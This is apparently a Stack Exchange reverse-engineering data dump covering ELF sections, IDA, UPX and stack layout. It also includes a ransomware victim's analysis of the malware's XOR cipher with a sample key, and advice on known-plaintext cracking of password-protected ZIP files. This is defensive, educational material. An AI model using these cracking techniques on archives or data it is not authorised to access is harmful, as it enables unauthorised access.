  <row Id="4239" PostTypeId="2" ParentId="4238" CreationDate="2014-05-02T18:22:30.050" Score="3" Body="&lt;p&gt;Technically speaking what you're describing is an archive. If the archiving data structure was properly designed, in the header you must find either the start offset &amp;amp; the size or the start &amp;amp; end offsets of each file entry in the header, unless the files are all stored one after the other. In that latter case all you need to know is the start offset of each file because (suppose file0 comes first, followed by file1) file1's start offset is file0's end offset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example below shows the latter case :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Offset00:file0&#xA;  Offset10:file1&#xA;  Offset30:file2&#xA;  Offset35:file3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-02T18:27:49.960" LastActivityDate="2014-05-02T18:27:49.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4240" PostTypeId="1" AcceptedAnswerId="4241" CreationDate="2014-05-02T18:47:25.400" Score="6" ViewCount="4253" Body="&lt;p&gt;OK, so basically I want to &lt;strong&gt;re-use&lt;/strong&gt; the content from dumped &lt;code&gt;.rodata&lt;/code&gt; &lt;code&gt;data&lt;/code&gt; and &lt;code&gt;bss&lt;/code&gt; section from ELF on Linux 32bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dump command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -s -j .text elf_binary&#xA;objdump -s -j .rodata elf_binary&#xA;objdump -s -j .data elf_binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the &lt;code&gt;.bss&lt;/code&gt; section, I am preparing to re-use a bunch of &lt;code&gt;00000000&lt;/code&gt; which has the same size of the &lt;code&gt;bss&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine when I re-use it in &lt;code&gt;nasm&lt;/code&gt; assembler in this way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section rodata&#xA;S_label1: db 0x01&#xA;         db 0x02&#xA;         ....  &#xA;.section data&#xA;        db 0x01&#xA;S_label2:  db 0x02&#xA;         ....&#xA;.section bss&#xA;S_label3: db 0x00&#xA;         db 0x00&#xA;         ....&#xA;&#xA;nasm -f elf test.s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But basically my question is that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to re-use these dumped sections in &lt;code&gt;gas&lt;/code&gt; asssembler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;code&gt;gas&lt;/code&gt; has a different assemble style, and apparently the data sections representations are different...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried for several times and I still can not find the solution..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I clearly demonstrate my question..? Could anyone give me some help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=======update==========&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I want to re-use the &lt;code&gt;rodata&lt;/code&gt; &lt;code&gt;data&lt;/code&gt; and &lt;code&gt;bss&lt;/code&gt; sections dumped from another binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is the content of &lt;code&gt;rodata&lt;/code&gt; section&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03000000 01000200 0a0a556e 736f7274&#xA;65642061 72726179 2069733a 20200020&#xA;25642000 0a0a536f 72746564 20617272&#xA;61792069 733a2020 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I can re-use it in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;label1: &#xA;db 0x03&#xA;db 0x00&#xA;db 0x00&#xA;db 0x00&#xA;label2: &#xA;db 0x01&#xA;db 0x00&#xA;db 0x02&#xA;db 0x00&#xA;.....&#xA;&#xA;mov eax, label1      // of course I will guarantee that I use it correctly&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically in &lt;code&gt;nasm&lt;/code&gt;, I can easily re-use them in the above way, but my question is that , how can I re-use it in &lt;code&gt;gas&lt;/code&gt; (or directly use &lt;code&gt;gcc&lt;/code&gt;) in a similiar way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2017-04-28T12:55:41.413" LastActivityDate="2017-04-28T12:55:41.413" Title="How to directly re-use the dumped content of `.rodata`, `.data` and `.bss` section?" Tags="|disassembly|assembly|nasm|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4241" PostTypeId="2" ParentId="4240" CreationDate="2014-05-02T19:12:27.637" Score="4" Body="&lt;p&gt;As an assembly programmer I would say that &lt;code&gt;gas&lt;/code&gt; is rarely used to assemble external code. The task of calling &lt;code&gt;gas&lt;/code&gt; is usually left to the compiler, and most of the assembly that &lt;code&gt;gas&lt;/code&gt; has to handle in real life is either &lt;code&gt;inlined&lt;/code&gt; inside &lt;code&gt;C&lt;/code&gt; or &lt;code&gt;C++&lt;/code&gt; code or comes from a compiler. But, I believe &lt;a href=&quot;https://web.eecs.umich.edu/~prabal/teaching/eecs373-f11/readings/Assembler.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; document by &lt;strong&gt;Dean Elsner&lt;/strong&gt;, &lt;strong&gt;Jay Fenlanson&lt;/strong&gt; &amp;amp; &lt;strong&gt;friends&lt;/strong&gt; is by far the best reference I managed to rely on for quite sometime. It has been updated many times and it covers the 2.19.51 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy way would be to use &lt;strong&gt;GCC&lt;/strong&gt; I would say :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  //Just to avoid make a point :]&#xA;  typedef unsigned char byte;&#xA;&#xA;  //&#xA;  byte lbl1[] = { 0x03, 0x00, 0x00, 0x00, ... }, &#xA;       lbl2[] = { 0x01, 0x00, 0x02, 0x00, ... };&#xA;&#xA;  //I prefer Intel syntax rather than AT&amp;amp;T, it's somehow cleaner !&#xA;  __asm__(&quot;intel_syntax noprefix                 ;&quot;&#xA;          &quot;mov eax, %0                           ;&quot;&#xA;          &quot;mov ebx, %1                           ;&quot;&#xA;          &quot;att_syntax prefix                     ;&quot;&#xA;          :                        //output&#xA;          : &quot;r&quot; (lbl1), &quot;r&quot; (lbl2) //input&#xA;          : &quot;%eax&quot;, &quot;%ebx&quot;);       //clobber&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, this is a nice way if you want to concentrate on the assembly code (which is how I do it when I optimize code by hand). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let me explain it a bit. First, you have two arrays containing the retrieved data, nothing fancy. Then you get the assembly code. If you're not familiar with &lt;code&gt;inlined&lt;/code&gt; assembly I would recommend you &lt;a href=&quot;http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link, though I'll briefly go over my code.&#xA;The &lt;code&gt;__asm__&lt;/code&gt; directive lets you insert assembly instructions anywhere in a code. At first I tell the assembler that I'll be using Intel's syntax (no % prefix for registers, ...), then I move the content of the register %0 in &lt;code&gt;eax&lt;/code&gt;, and then the content of %1 in &lt;code&gt;ebx&lt;/code&gt; (%0 is the pointer for &lt;strong&gt;lbl1&lt;/strong&gt;, %1 is the pointer for &lt;strong&gt;lbl2&lt;/strong&gt;). Then, I switch to AT&amp;amp;T syntax for the rest of the parameters. After the first &lt;strong&gt;:&lt;/strong&gt; you can specify output variables. After the second &lt;strong&gt;:&lt;/strong&gt; you can specify inputs. In here I passed &lt;strong&gt;lbl1&lt;/strong&gt; &amp;amp; &lt;strong&gt;lbl2&lt;/strong&gt; and I used &lt;strong&gt;&quot;r&quot;&lt;/strong&gt; to let the compiler handle register allocation. You can specify the registers if you know what you're doing. After the last &lt;strong&gt;:&lt;/strong&gt; you have to declare the registers used inside the code so that the compiler frees them &amp;amp; uses them for the remaining code generation steps.  &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-02T19:50:21.643" LastActivityDate="2014-05-02T19:50:21.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4242" PostTypeId="2" ParentId="4238" CreationDate="2014-05-02T19:40:52.977" Score="2" Body="&lt;p&gt;In addition to what yaspr said, i'd suggest looking for specification of those contained files. Most file formats have their size specified in the header somewhere. That would allow you to carve the file from the archive, without even knowing the archive structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what tools like &lt;code&gt;scalpel&lt;/code&gt; are doing to carve files. They match the header to a known file type, and then lookup the file size in that header.&#xA;Some file formats have specific endings which you could also use to carve them out (for example, every &lt;code&gt;png&lt;/code&gt; file has &lt;code&gt;IEND&lt;/code&gt; and the end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try your luck with &lt;code&gt;scalpel&lt;/code&gt; and similar file carving tools.&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-05-02T19:40:52.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4244" PostTypeId="2" ParentId="4240" CreationDate="2014-05-02T21:44:16.323" Score="1" Body="&lt;p&gt;thanks @yaspr for his excellent answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this post I was asking that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to re-use &lt;code&gt;.rodata&lt;/code&gt; &lt;code&gt;.data&lt;/code&gt; and &lt;code&gt;.bss&lt;/code&gt; sections' contents?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can quickly go this way once you dumped all the content of these sections, I use a hello world code to demostrate it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.section .text&#xA;.globl  main&#xA;main:&#xA;push   %ebp&#xA;mov    %esp,%ebp&#xA;and    $0xfffffff0,%esp&#xA;sub    $0x20,%esp&#xA;fldl   S_80484f0     // lift the conceret address into symbol&#xA;fstpl  0x18(%esp)&#xA;fldl   0x18(%esp)&#xA;fstpl  0x4(%esp)&#xA;movl   $S_80484e0,(%esp) // lift the conceret address into symbol&#xA;call   printf&#xA;leave&#xA;ret&#xA;nop&#xA;nop&#xA;nop&#xA;&#xA;.section .rodata&#xA;&#xA;S_80484e0:&#xA;.long 0x6c6c6568&#xA;.long 0x6f77206f&#xA;.long 0x20642c72&#xA;.long 0x000a6625&#xA;&#xA;S_80484f0:&#xA;.long 0x00000000&#xA;.long 0x40240000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To @yaspr about AT&amp;amp;T vs. Intel style:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is obviously that Intel style is much more clear that AT&amp;amp;T:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the current project I am struggling on, I find it might not be very easy to use &lt;code&gt;nasm&lt;/code&gt; inside a bunch of GNU tools(&lt;code&gt;objdump&lt;/code&gt; &lt;code&gt;objcopy&lt;/code&gt; &lt;code&gt;ld&lt;/code&gt; and others...)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, Even though &lt;code&gt;objdump&lt;/code&gt; can disassemble in &lt;code&gt;Intel&lt;/code&gt; style, I still encounter a bunch of problems/unclear issues, especially after comparing the disassemble results between &lt;code&gt;objdump&lt;/code&gt; and &lt;code&gt;IDAPro&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-05-02T21:44:16.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4245" PostTypeId="2" ParentId="4116" CreationDate="2014-05-03T01:02:24.930" Score="3" Body="&lt;p&gt;Finally I think I might have one explanation for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ARM elf format firmware file is further converted to a hex bin file which is used by the boot loader to program into the on board flash. So my speculation is that both &lt;code&gt;init&lt;/code&gt; and &lt;code&gt;main&lt;/code&gt; probably are actually called by the boot loader code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This speculation is possible because the elf file is still fully relocatable. The elf--&gt;bin step might do a relocation process to make it callable by the already-present bootloader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this speculation, the &lt;code&gt;init&lt;/code&gt; function doesn't call the &lt;code&gt;main&lt;/code&gt; actually. Both just are called and returned normally by the bootloader.&lt;/p&gt;&#xA;" OwnerUserId="4278" LastEditorUserId="4278" LastEditDate="2014-05-04T19:12:25.130" LastActivityDate="2014-05-04T19:12:25.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4246" PostTypeId="1" CreationDate="2014-05-03T04:08:38.690" Score="7" ViewCount="2402" Body="&lt;p&gt;As stated in my previous question i was infected by a encrypting virus that encrypts two 1024 byte blocks of any given file (First 1024, and  last 1024) in some type of custom CFB XOR encryption. I was able to get my hands on a decrypter that another victim paid for (of course it doesn't work for me because different keys) and find the decryption function in IDA, but the C generated code was bad and the whole EXE is obfuscated with a custom method. A user of stackexchange converted it into C# for me to better understand it (Thanks &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/3557/edward&quot;&gt;Edward&lt;/a&gt;) For more information on this see the last post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4226/ida-pro-c-dump-for-decryption-function&quot;&gt;IDA Pro C dump for Decryption function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to the point. The encryption this guy uses is pretty much XOR with some trickery, so the encryption function is pretty much the same as the decryption. In the decrypter holds a 20 byte key, I found this by comparing 4 different decrypters together that victims paid for with all of them only having a 20 byte difference all in the same area, and also later confirming it in IDA when its pushed onto the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the key is 20 bytes, only 16 is used in the encryption and 4  is used to generate a header for each encrypted file so the decrypter can later find them. So in ida it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dword: C4 67 0E 46&#xA;Dword: 99 2F D3 E4 40 BD 87 EB 8F 35 04 96 3B CE 8D 73&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is 4 bytes are used in each 512 block encrypted, two 512 blocks being CFB'ed to one another to make 2 1024 blocks of encrypted data. Sorry if that didn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly the Decrypter is HEAVILY Obfuscated as i said, and also uses tons of junk JMP's and functions to were its impossible to read. Took forever to find just the decryption function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to the code, This is the cleaned code for the decryption (Encryption also) function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int mystery(char *buff, int bufsize, int nonce1, int nonce2)&#xA;{&#xA;  int result = 0;&#xA;  // ch is the next byte (character) in the buffer&#xA;  char ch = 0; &#xA;  int count = bufsize; &#xA;  char *ptr = buff; &#xA;  int x;&#xA;&#xA;  for (x = nonce1; count; --count)&#xA;  {&#xA;      // this bit of trickery just replaces the low 8 bits&#xA;      // of x with the low 8 bits of (x+ch) neglecting carry, if any&#xA;      x = (x &amp;amp; ~0xff) | ((x+ch) &amp;amp; 0xff);&#xA;      // XOR the buffer with the calculated x value&#xA;      *ptr ^= x;&#xA;      // read in the next character into ch&#xA;      ch = *ptr++;&#xA;      // obfuscate by adding nonce2 &#xA;      x += nonce2;&#xA;      // if x = 0x12345678, this would make it 0x34567812&#xA;      // for 32-bit ints.  Just a rotate left of 8 bits.&#xA;      x = (x&amp;lt;&amp;lt;8) | ((x &amp;gt;&amp;gt;((sizeof(int)-1)*8) ) &amp;amp; 0xff);  &#xA;  }&#xA;  result = x;&#xA;  // return the last calculated x which may be used to chain all&#xA;  // of the blocks together.  That is, the return value x is &#xA;  // probably passed as nonce1 to encode the next block.&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above 2 INT named nonce's are generated from the 16 bytes some how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, me, and many others are wondering if this is at all Brute force-able or crackable like regular XOR? Of course i do not know my key, But nearly everyone would have at least one plain and encrypted file for a plain text attack like XOR if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the same Decrypted (plain text), and encrypted file that goes with this decrypter, along with the decrypter itself as resources. The example key above is also the key in this decrypter. ( in no particular order sadly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/ga7mgt3ss37knbt/good.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decrypted (Plain text) File&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/d35cwm2cbkn4yf9/Bad.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Encrypted file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/ouvoxl0omzxqckk/Decrypter.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decrypter EXE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This EXE is in no way malicious, and will not effect any files when ran as it detects encrypted files. I have ran it hundreds of times on my personal computer with no fault. It can be attached to a debugger and ran safely. Virus total says other wise simply because its a known exe situated with the infection.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a last note i believe in IDA the function  4075F3 generates the nonces, but cant be 100%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im sorry for this being so long, its quite hard to explain all at once.&lt;/p&gt;&#xA;" OwnerUserId="4520" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-01-20T03:28:39.163" Title="Virus uses a custom XOR encryption and need help possibly cracking it / Reversing EXE" Tags="|ida|encryption|decryption|patching|malware|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4247" PostTypeId="2" ParentId="4246" CreationDate="2014-05-03T08:41:21.727" Score="1" Body="&lt;p&gt;I don't have the time at the moment to formulate a proper solution but I'll give some hints that will hopefully help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would honestly break this down to a simpler problem, switch the integers down to fewer bits. For instance you could take the algorithm and modify it such that it works with 8-bit nonces, then switch your rotation amount down to 2 bits (one fourth of the nonce size). Then you switch your masks from 8 bits to 2 bits as well and your cipher xor into 2 bits. This way you're working with a more manageable problem. You could even reduce it into 4-bit nonces and 1 bit cipher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this simplified problem you formulate equations for each bit from the plaintext to the cipher text. Plugging it into something like &lt;a href=&quot;http://z3.codeplex.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z3&lt;/a&gt; might be the easiest way of getting an answer out. &lt;a href=&quot;http://blog.lse.epita.fr/articles/24-using-sat-and-smt-to-defeat-simple-hashing-algorit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's an article&lt;/a&gt; using Z3 to attack a simple hash function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glancing at it it looks like if you have the plaintext and the ciphertext you can solve for the key (nonce1 and nonce2). The addition of nonce2 might be an issue due to it actually being an addition modulus 2^32. As it's an addition there's really only two values due to the constraints on nonce2 and x that can map to the same value so the it's not impossible to invert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not sure whether you can solve the equations yourself I would bring the problem to &lt;a href=&quot;https://math.stackexchange.com/&quot;&gt;math.stackexchange.com&lt;/a&gt; once you've got it figured out.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="-1" LastEditDate="2017-04-13T12:19:25.207" LastActivityDate="2014-05-03T09:11:54.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4248" PostTypeId="1" CreationDate="2014-05-03T09:04:04.023" Score="3" ViewCount="249" Body="&lt;p&gt;Looking at the structure of an executable in a PE viewer, I see that it imports functions from comctl32.dll and nothing else. However, when I run this executable through a packer (UPX), the resulting executable suddenly depends on kernel32.dll as well. Can someone explain why this is, and what the new functions imported from kernel32.dll do?&lt;/p&gt;&#xA;" OwnerUserId="4205" LastEditorUserId="4535" LastEditDate="2014-05-04T17:40:34.803" LastActivityDate="2014-05-04T19:01:34.267" Title="Why does packing an executable add dependencies to my executable?" Tags="|pe|upx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4249" PostTypeId="2" ParentId="4213" CreationDate="2014-05-03T16:39:44.913" Score="3" Body="&lt;p&gt;The variable names that IDA is generating aren't &quot;fake&quot;; they are exactly the same as they would be labeled had the function been &lt;code&gt;ebp&lt;/code&gt;-based. The problem you describe is only really an issue when debugging since that's the only time you can inspect the values pointed to. I'm not aware of any built-in way to get IDA to display what you want. When you hover over an operand, IDA just takes the current value of the register and adds the offset. If &lt;code&gt;esp&lt;/code&gt; has changed, then it will show you the wrong address, which is what you're seeing in your example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IDA does know the correct stack offset, one way to do what you're asking is to write an IDC script that checks &lt;code&gt;eip&lt;/code&gt; and adjusts for the difference in &lt;code&gt;esp&lt;/code&gt; values before calculating the final target address. The IDC function that gets the stack offset at a given address is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/351.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GetSpd()&lt;/code&gt;&lt;/a&gt;. The algorithm would go something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Calculate the target address of the operand you are interested in (i.e. esp+5Eh+var_1 -&gt; 0x10000000)&lt;/li&gt;&#xA;&lt;li&gt;Get the stack pointer delta (SPD) of the line containing the operand you're interested in (i.e. 5Eh)&lt;/li&gt;&#xA;&lt;li&gt;Get the SPD of &lt;code&gt;eip&lt;/code&gt; (i.e. 6Eh)&lt;/li&gt;&#xA;&lt;li&gt;Calculate the difference of the two SPDs and add (or subtract) that amount from the target address you calculated in step 1 (i.e. 0x10000000 + (6Eh-5Eh) = 0x10000010)&lt;/li&gt;&#xA;&lt;li&gt;Go to your calculated address ([0x10000010] contains the variable you are after)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2014-05-03T16:39:44.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4250" PostTypeId="1" AcceptedAnswerId="4255" CreationDate="2014-05-03T16:52:21.290" Score="4" ViewCount="1295" Body="&lt;p&gt;The code below is generated by gcc from a simple scanf program. &#xA;My question is that &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why these 3 addresses of variables are not consecutive when allocated?&lt;/li&gt;&#xA;&lt;li&gt;If not, when could I speculate the number of variables generated from stack by watching the&#xA;clause like &lt;code&gt;add esp, N&lt;/code&gt; which is often at the end of a routine? Is it related with calling convention?&lt;/li&gt;&#xA;&lt;li&gt;In this example, why compiler does not generated the &lt;code&gt;add esp, 20h&lt;/code&gt; with it?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;C code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main() {&#xA;  int x;&#xA;  printf (&quot;Enter X:\n&quot;);&#xA;  scanf (&quot;%d&quot;, &amp;amp;x);&#xA;  printf (&quot;You entered %d...\n&quot;, x);&#xA;  return 0;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;asm&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main            proc near&#xA;var_20          = dword ptr -20h&#xA;var_1C          = dword ptr -1Ch&#xA;var_4           = dword ptr -4&#xA;                push    ebp&#xA;                mov     ebp, esp&#xA;                and     esp, 0FFFFFFF0h&#xA;                sub     esp, 20h&#xA;                mov     [esp+20h+var_20], offset aEnterX ; &quot;Enter X:&quot;&#xA;                call    _puts&#xA;                mov     eax, offset aD  ; &quot;%d&quot;&#xA;                lea     edx, [esp+20h+var_4]&#xA;                mov     [esp+20h+var_1C], edx&#xA;                mov     [esp+20h+var_20], eax&#xA;                call    ___isoc99_scanf&#xA;                mov     edx, [esp+20h+var_4]&#xA;                mov     eax, off set aYouEnteredD___ ; &quot;You entered %d...\n&quot;&#xA;                mov     [esp+20h+var_1C], edx&#xA;                mov     [esp+20h+var_20], eax&#xA;                call    _printf&#xA;                mov     eax, 0&#xA;                leave&#xA;                retn&#xA;main            endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="3776" LastEditDate="2014-05-03T17:43:03.073" LastActivityDate="2014-05-03T18:16:55.720" Title="Why addresses of variable on stack are not consecutive?" Tags="|disassembly|assembly|x86|c|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4251" PostTypeId="1" AcceptedAnswerId="4252" CreationDate="2014-05-03T17:23:49.993" Score="-1" ViewCount="10503" Body="&lt;p&gt;Is it possible to reverse engineer ZIP file with password, and get the password or the data that is containing. I'm wondering because there is challenge in hacking lab which is to extract file from ZIP with passwd protection, and it's category is reverse engineering but when I look at the HEX dump I only see the file name.&lt;/p&gt;&#xA;" OwnerUserId="4536" LastActivityDate="2015-03-28T18:23:21.263" Title="Reverse engineering zip file" Tags="|disassembly|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4252" PostTypeId="2" ParentId="4251" CreationDate="2014-05-03T17:37:40.557" Score="4" Body="&lt;p&gt;From &lt;a href=&quot;http://www.elcomsoft.com/archpr.html&quot; rel=&quot;nofollow&quot;&gt;http://www.elcomsoft.com/archpr.html&lt;/a&gt; -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Certain ZIP and ARJ archives can be unlocked and decrypted in just&#xA;  minutes, provided that you have at least one unprotected file from&#xA;  that archive at your discretion. It does not matter how long and&#xA;  complex the password is! If you have a file from the encrypted ZIP&#xA;  archive in your hands, the whole archive can be usually unlocked in&#xA;  minutes by applying the known-plaintext attack.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After carefully analyzing the algorithms and implementations of&#xA;  password protection in different versions of WinZip, ElcomSoft&#xA;  developed a work-around solution to allow quick guaranteed decryption&#xA;  of certain ZIP archives instead of performing lengthy attacks. If an&#xA;  encrypted ZIP archive was created with WinZip version 8 or earlier,&#xA;  and if the archive contains 5 or more files, Advanced Archive Password&#xA;  Recovery can unlock the archive and decrypt its content – guaranteed!&#xA;  A modern PC takes just under one hour to finish the job.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If those special cases don't apply, you'd need to apply standard brute-force techniques. Either way, you'd want to use &lt;a href=&quot;http://www.elcomsoft.com/archpr.html&quot; rel=&quot;nofollow&quot;&gt;Advanced Archive Password Recovery&lt;/a&gt; or a &lt;a href=&quot;http://www.password-crackers.com/en/category_98/&quot; rel=&quot;nofollow&quot;&gt;similar tool&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-05-03T17:37:40.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4253" PostTypeId="2" ParentId="4250" CreationDate="2014-05-03T17:44:10.573" Score="3" Body="&lt;p&gt;there is no add esp ,20 because of the leave instruction (LEAVE PROCDURE ) instruction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;quoted ftom intel instruction manual&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6.5.2 LEAVE Instruction&#xA;The LEAVE instruction, which does not have any operands, reverses the action of the previous ENTER instruction. &#xA;The LEAVE instruction copies the contents of the EBP register into the ESP register to release all stack space allocated to the procedure. Then it restores the old value ofthe EBP register from the stack. This simultaneously &#xA;restores the ESP register to its original value. A subsequent RET instruction then can remove any arguments and &#xA;the return address pushed on the stack by the calling program for use by the procedure.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as to the other part in your question i guess it is because the compiler didn't generate any push argument instruction it utilises the top part for moving the args into stack &#xA;and bottom part for varargs storage &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov [esp],%d&#xA;mov [esp+4] , ADDR where to store the input ie ADDR of [esp+1c]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-05-03T17:44:10.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
